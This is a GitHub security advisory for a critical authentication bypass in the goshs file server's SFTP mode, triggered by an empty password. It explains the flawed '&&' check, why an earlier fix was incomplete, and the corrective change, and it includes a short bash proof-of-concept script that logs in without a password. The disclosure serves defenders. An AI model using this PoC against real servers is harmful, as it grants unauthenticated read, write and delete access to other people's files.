GitHub Advisoryadvisory · Go
GHSA-rjrw-mjq6-hpmm goshs SFTP authentication bypass via empty password (incomplete fix of CVE-2026-40884)
CRITICAL
Official page ↗
- Aliases
- CVE-2026-62325
- Ecosystem
- Go
- Packages
- github.com/patrickhener/goshs/v2, goshs.de/goshs/v2
- Severity
- Critical
- CVSS vector
- CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N
- Weaknesses
- CWE-306
- Reviewed
- 2026-07-28
Affected packages
• Go github.com/patrickhener/goshs/v2: >= 2.1.3, < 2.1.4 → fixed in 2.1.4
• Go goshs.de/goshs/v2: >= 2.1.3, < 2.1.4 → fixed in 2.1.4
Description
Summary
Start goshs v2.1.3 with `-b 'admin:' -sftp`. No `-fkf`. SFTP accepts connections without password. CVE-2026-40884 blocks the empty-username variant (`-b ':pass'`). The empty-password variant bypasses that fix.
CVE-2026-40884
CVE-2026-40884 (GHSA-c29w-qq4m-2gcv, Apr 13 2026) reported the empty-username case: `-b ':pass'` with `-sftp`. `sftpserver.go:85` uses `&&`:
```go
if s.Username != "" && s.Password != "" {
sshServer.PasswordHandler = func(ctx ssh.Context, password string) bool {
return subtle.ConstantTimeCompare([]byte(ctx.User()), []byte(s.Username)) == 1 && subtle.ConstantTimeCompare([]byte(password), []byte(s.Password)) == 1
}
}
```
Empty username → `Username != ""` false → `PasswordHandler` nil. No `-fkf` means `PublicKeyHandler` also nil. gliderlabs/ssh sees all handlers nil and sets `NoClientAuth = true`. Unauthenticated access.
Patrickhener fixed it with a sanity check at `sanity/checks.go:114-118`:
```go
if opts.FTP && opts.FTPSFTPMode && strings.HasPrefix(opts.BasicAuth, ":") {
logger.Fatal("When using SFTP with password authentication, the username cannot be empty. ...")
}
```
`HasPrefix(":")` catches empty username. It does not catch empty password.
Empty Password Bypass
Same `&&` at `sftpserver.go:85`. Same nil handler. Different input:
```
goshs -b 'admin:' -sftp
```
• `Username = "admin"`, `Password = ""`
• `Username != "" && Password != ""` → false. Password is empty.
• `PasswordHandler` not set. No `-fkf` → `PublicKeyHandler` not set.
• gliderlabs/ssh → `NoClientAuth = true`.
CVE-2026-40884 patched the symptom (empty username) with input validation. Root cause (`&&`) stayed in the code. v2.1.3 still has it. That makes any unanticipated input format exploitable.
PoC
```bash
!/usr/bin/env bash
set -euo pipefail
HOST="${1:-127.0.0.1}"
PORT="${2:-2121}"
echo "[*] Connecting to goshs SFTP at $HOST:$PORT with empty password..."
echo "ls -la /" | sftp -o StrictHostKeyChecking=no \
-o UserKnownHostsFile=/dev/null \
-o PreferredAuthentications=none,password \
-o PubkeyAuthentication=no \
-P "$PORT" -b - admin@"$HOST" 2>&1 && \
echo "[+] VULNERABLE: Connected without password!" || \
echo "[-] Connection failed (patched or not running)"
```
Root Cause
```go
// Wrong: &&
if s.Username != "" && s.Password != "" {
// Correct: ||
if s.Username != "" || s.Password != "" {
```
`&&` blocks `PasswordHandler` when either field is empty. `||` installs it when either field is set.
Incomplete Fix
Patrickhener added `HasPrefix(":")` at `sanity/checks.go:116`. Two gaps remain:
1. `&&` still at `sftpserver.go:85` in v2.1.3
2. No `HasSuffix(":")` check for empty password
Impact
• Unauthenticated SFTP file access (read, write, delete, rename)
• Same impact as CVE-2026-40884 via a different input
• Exploitable with `-b 'user:'` and no `-fkf`
Affected
All goshs versions including v2.1.3. CVE-2026-40884 fix does not cover this variant.
Recommended Fix
1. `&&` → `||` at `sftpserver/sftpserver.go:85`
2. `HasSuffix(":")` check at `sanity/checks.go`
3. Shared auth handler setup for HTTP and SFTP code paths
Related
Alias · CVE (1)
- CVE-2026-62325 goshs is a feature-rich single-binary file server for red teamers and developers. vulnerability
Weakness · CWE (1)
- CWE-306 Missing Authentication for Critical Functionality weakness